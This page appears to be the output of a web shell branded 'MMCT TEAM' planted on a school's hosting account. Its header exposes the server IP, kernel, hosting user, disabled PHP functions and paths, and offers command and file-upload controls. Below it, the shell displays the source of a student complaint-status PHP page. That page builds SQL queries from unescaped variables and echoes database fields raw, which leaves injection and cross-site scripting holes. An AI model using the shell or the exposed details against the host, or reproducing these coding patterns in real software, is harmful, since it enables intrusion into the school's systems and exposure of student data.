MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/gsmps/css/../app/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/gsmps/css/../app/classteacher.php
<?php
	include('php-includes/connect.php');
include('php-includes/check-login.php');
 $userid = $_SESSION['userid'];
$search = $userid;

	
?>


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Panel </title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome Icons -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- overlayScrollbars -->
  <link rel="stylesheet" href="plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/croppie/2.6.5/croppie.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/croppie/2.6.5/croppie.min.css" />
<body class="hold-transition dark-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">

  <style>
 body {
  padding: 0;
  margin: 0;
  font-family: 'Lato', sans-serif;
  color: #000;
}

.student-profile .card {
  border-radius: 10px;
}

.student-profile .card .card-header .profile_img {
  width: 150px;
  height: 150px;
  object-fit: cover;
  margin: 10px auto;
  border: 10px solid #ccc;
  border-radius: 50%;
}

.student-profile .card h3 {
  font-size: 20px;
  font-weight: 700;
}

.student-profile .card p {
  font-size: 16px;
  color: white;
}

.student-profile .table th,
.student-profile .table td {
  font-size: 14px;
  padding: 5px 10px;
  color: white;
}
  </style>

  <!-- Navbar -->
 <?php include('link/menu.php')?>
  <!-- /.navbar -->

  

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
       <!-- Student Profile -->
<div class="student-profile py-4">
  <div class="container">
    <div class="row">
      <div class="col-lg-4">
        <div class="card shadow-sm">
          <div class="card-header bg-transparent text-center">
            <img class="profile_img" src="../code/img/<?php echo $rowt['picture'] ?>" alt="">	
         	
            <h3><?php echo $rowt['name'] ;$class=$rowt['subject'];

	$sel4="select * from  notice where class='$class'  order by id desc";
	$res4=mysqli_query($con,$sel4);
	?></h3>
          </div>
          <div class="card-body">
            <p class="mb-0"><strong class="pr-1">Student ID:</strong><?php echo $rowt['application']?></p>
            <p class="mb-0"><strong class="pr-1">Class:</strong><?php echo $rowt['subject']?></p>
            <p class="mb-0"><strong class="pr-1">Section:</strong><?php echo $rowt['section']?></p>
          </div>
        </div>
      </div>
      <div class="col-lg-8">
        <div class="card shadow-sm">
          <div class="card-header bg-transparent border-0">
            <h3 class="mb-0"><i class="far fa-clone pr-1"></i>Complain classteacher</h3>
          </div>
        
        </div>
        
        
        <br/>
        <div class="card shadow-sm">
          <div class="card-header bg-transparent border-0">
            <h3 class="mb-0"><i class="far fa-clone pr-1"></i>Status</h3>
          </div>
          <div class="card-body pt-0">
             <table class="table table-bordered">
              <tr style='background-color:#763716'>
                <th width="20%">Date</th>
                <td>Classteacher</td>
                <td>Complain</td>
                <td>Status</td>
                <td>Change</td>
                
                
               
              </tr>
			  <?php $t_p=0;
			  
			  
	
	$sel41="select * from  complain where sch='$userid'  order by date desc  ";
	$res41=mysqli_query($con,$sel41);
			  while($row41=mysqli_fetch_array($res41,MYSQLI_BOTH)) {
			  $mobile=$row41['teacher'];
			  	$sel4="select * from  classteacher where class1='$class'  order by id desc";
	$res4=mysqli_query($con,$sel4);
	$row4=mysqli_fetch_array($res4,MYSQLI_BOTH);
			  
			  ?> <tr>
                <th width="20%"><?php echo date("d-m-Y", strtotime($row41['date']))?></th>
                <td><?php echo $row4['name']?></td>
                <td><?php echo $row41['complain']?></td>
                <td><?php if($row41['status']==0){echo '<font style="color:red">Pending</font>';}else{echo '<font style="color:green">Solved</font>';} ;?></td>
	<td><a href="change_ga.php?id=<?php echo $row41['id'];?>" ><?php if($row41['status']==0){echo '<font style="color:red"><span class="fa fa-times-circle"></span></font>';}else{echo '<font style="color:green"><span class="fa fa-check"></span></font>';} ;?> </a></td>
	
				 
              </tr>
			  <?php 
			  
			  
			  
			  }?>
          
            </table>
			   
          </div>
        </div>
      </div>
    </div>
  </div>
</div>

            <!-- /.info-box -->
          </div>
		  <style>
.button {
  border: none;
  color: white;
  padding: 16px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  transition-duration: 0.4s;
  cursor: pointer;
}

.button1 {
  background-color: white; 
  color: black; 
  border: 2px solid #04AA6D;
}

.button1:hover {
  background-color: #04AA6D;
  color: white;
}

.button2 {
  background-color: white; 
  color: black; 
  border: 2px solid #008CBA;
}

.button2:hover {
  background-color: #008CBA;
  color: white;
}

</style>
		  
<center><a href='app.php'><button class="button button2">Click For Back</button></a></center>
          <!-- /.col -->
        </div>
        <!-- /.row -->

       
        <!-- /.row -->

        <!-- Main row -->
        <div class="row">
          <!-- Left col -->
          
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->

  <!-- /.control-sidebar -->

  <!-- Main Footer -->
  <?php include('link/footer.php');?>
</div>
<!-- ./wrapper -->

<!-- REQUIRED SCRIPTS -->
<?php include('link/jquery.php')?>
</body>
</html>

MMCT - 2023